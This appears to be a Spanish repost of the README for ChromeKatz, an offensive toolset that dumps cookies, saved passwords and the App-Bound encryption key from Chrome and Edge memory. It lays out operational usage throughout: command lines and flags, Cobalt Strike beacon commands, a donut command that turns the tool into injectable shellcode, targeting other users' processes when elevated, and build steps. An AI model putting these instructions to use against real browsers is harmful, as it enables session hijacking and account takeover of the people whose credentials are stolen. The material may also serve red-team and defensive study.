
Volcar cookies y credenciales directamente de la memoria del proceso de Chrome/Edge
ChromeKatz es una solución para volcar información sensible desde la memoria de los navegadores basados en Chromium. Por ahora, ChromeKatz consta de tres proyectos:
CookieKatz tiene disponible un exe, un Beacon Object File y un parser de minidumps. Y para ElevationKatz, ejecutable y Beacon Object File.
ElevationKatz ahora es capaz de parsear las bases de datos de cookies y credenciales desde la memoria del navegador y descifrarlas por ti.
CookieKatz ha sido rediseñado por completo para usar un método mucho más robusto para encontrar las cookies. El nuevo método también es compatible con versiones anteriores del navegador. Ahora hay una nueva bandera /inject implementada en CookieKatz para evadir el cifrado App-Bound en los navegadores relevantes.
¡Necesito un café, y mis gatos también!
CookieKatz es un proyecto que permite a los operadores volcar cookies de Chrome, Edge o Msedgewebview2 directamente desde la memoria del proceso. Los navegadores basados en Chromium cargan todas sus cookies desde la base de datos de cookies en disco al iniciarse.
Los beneficios de este enfoque son*:
Estas afirmaciones siguen siendo ciertas en algunos navegadores/aplicaciones. Para las últimas versiones de Chrome necesitarás inyectarte en el proceso. ... O usa el ElevationKatz
No se admiten instalaciones de navegador de 32 bits ni compilaciones de CookieKatz de 32 bits.
Actualmente solo se vuelcan las cookies normales. Chromium almacena las cookies particionadas en un lugar diferente y actualmente no se incluyen en el volcado.
Esta solución consta de tres proyectos, CookieKatz que es un ejecutable PE, CookieKatz-BOF que es una versión Beacon Object File y CookieKatzMinidump que es el parser de minidumps.
¡NOTA! Al elegir un PID como objetivo, usa los comandos /list o cookie-katz-find, respectivamente, para seleccionar el subproceso correcto.
Examples:
.\CookieKatz.exe
By default targets first available Chrome process
.\CookieKatz.exe /edge
Targets first available Edge process
.\CookieKatz.exe /pid:<pid>
Attempts to target given pid, expecting it to be Chrome
.\CookieKatz.exe /webview /pid:<pid>
Targets the given msedgewebview2 process
.\CookieKatz.exe /list /webview
Lists available webview processes
.\CookieKatz.exe /inject
Targets the current process. Use this flag when your are injecting CookieKatz to Chrome process.
TIP! If you need to inject CookieKatz into the Chrome process, you can turn the exe into shellcode using donut:
.\donut.exe -a 2 --input <Path_to_CookieKatz.exe> -z 4 -b 1 -p "/inject" -t
Flags:
/edge Target current user Edge process
/webview Target current user Msedgewebview2 process
/pid Attempt to dump given pid, for example, someone else's if running elevated
/list List targettable processes, use with /edge or /webview to target other browsers
/inject Indicate that the process will run in the target process
/out Write output to file, default location is "C:\Users\Public\Documents\cookies.log"
/help This what you just did! -h works as well
beacon> help cookie-katz
Dump cookies from Chrome or Edge
Use: cookie-katz [chrome|edge|webview] [pid]
beacon> help cookie-katz-find
Find processes for Cookie-Katz
Use: cookie-katz-find [chrome|edge|webview]
Usage:
CookieKatzMinidump.exe <Path_to_minidump_file>
Example:
.\CookieKatzMinidump.exe .\msedge.DMP
To target correct process for creating the minidump, you can use the following PowerShell command:
Get-WmiObject Win32_Process | where {$_.CommandLine -match 'network.mojom.NetworkService'} | select -Property Name,ProcessId
ElevationKatz permite a los operadores volcar la clave de cifrado del perfil del navegador desde la memoria para permitir el acceso a la información sensible del usuario. Esto funciona iniciando un nuevo proceso del navegador en estado suspendido, estableciendo puntos de interrupción y volcando la clave una vez que el proceso del navegador la recibe del servicio de elevación.
Los beneficios de este enfoque son:
ElevationKatz iniciará un nuevo proceso del navegador en estado suspendido y le adjuntará un depurador. Luego escaneará la dll del navegador para encontrar la instrucción donde el navegador regresa de la llamada a os_crypt::DecryptAppBoundString y establecerá un punto de interrupción inmediatamente después. Una vez que se alcanza el punto de interrupción, la herramienta volcará la clave de cifrado desde la memoria.
Hay dos tipos de puntos de interrupción entre los que el operador puede elegir: puntos de interrupción por software y por hardware.
Además, para los puntos de interrupción por hardware, hay dos formas compatibles de enumeración de hilos para elegir: NtGetNextThread y CreateToolhelp32Snapshot. Los puntos de interrupción por software no necesitan enumeración de hilos y, por lo tanto, la bandera /tl32 no los afecta.
El nuevo parámetro config puede usarse para descifrar automáticamente las bases de datos de perfil. Esto utiliza la técnica de IHack4Falafel para parsear las bases de datos de Cookie y Login Profile desde la memoria del navegador, evitando tocar los archivos directamente.
Nota: el volcado solo funciona con los puntos de interrupción por hardware, ya que no pude averiguar cómo limpiar adecuadamente los puntos de interrupción por software y retroceder el RIP para evitar que el proceso se bloquee.
Examples:
.\ElevationKatz.exe /chrome
Starts a new chrome process using path: C:\Program Files\Google\Chrome\Application\chrome.exe
Waits for 500 milliseconds for process to finish until forced shutdown.
.\ElevationKatz.exe /chrome /hw
Starts a new chrome process using path: C:\Program Files\Google\Chrome\Application\chrome.exe
Will use Hardware breakpoints instead of the software ones
Waits for 500 milliseconds for process to finish until forced shutdown.
.\ElevationKatz.exe /chrome /config:all\n");
Starts a new chrome process using path: C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe
Will use Hardware breakpoints instead of the software ones
Parses the cookie and credential database from the browser memory and dumps them
.\ElevationKatz.exe /edge /wait:1000
Starts a new chrome process using path: C:\Program Files(x86)\Microsoft\Edge\Application\msedge.exe
Waits for 1000 milliseconds for process to finish until forced shutdown.
.\ElevationKatz.exe /path:\"C:\Program Files\BraveSoftware\Brave - Browser\Application\brave.exe\" /module:chrome.dll
Targets the Brave browser
Flags:
/chrome Target Chrome process.
/edge Target Edge process.
/hw Use Hardware breakpoints instead of SW ones.
/tl32 Use CreateToolhelp32Snapshot to enumerate process threads when using with /HW flag
/wait:<milliseconds> Maximum time to for the debugging. Use 0 for INFINITE. Defaults to 500ms.
/path:<path_to_exe> Provide path to the process executable
/module:<some.dll> Provide alternative module to target
/config:<option> Automatically locate and dump contents of profile databases. Options. Cookies|Creds|All
/help This what you just did! -h works as well
beacon> help elevation-katz
Dump elevation service encryption key
Use: elevation-katz [chrome|edge] [useHW] [useTL32] [wait:<ms>] [terminate] [executable:<path>] [module:<path>]
Envié un informe al proyecto Chromium sobre el error que CredentialKatz explotaba originalmente y lo marcaron como "No se corregirá" y dijeron que no les importa si las credenciales permanecen en la memoria.
De repente arreglaron el error exactamente de la manera que propuse después de que la herramienta se publicara :3 https://issues.chromium.org/issues/352085708
Descarga la última compilación de los BOF de ChrokeKatz aquí. El archivo zip incluye los BOF compilados y el script CNA para ejecutarlos.
Puedes compilar ambos proyectos en Visual Studio con la configuración Release o Debug y la plataforma x64.
La versión BOF se ha desarrollado con la plantilla de Visual Studio de Cobalt Strike bof-vs. Esto significa que la configuración Debug para los *-BOFs generará un exe en lugar del archivo COFF. Puedes leer más sobre el uso de la plantilla de Visual Studio aquí.
Puedes compilar tu propio BOF con nmake en x64 Native Tools Command Prompt for VS 2022:
nmake all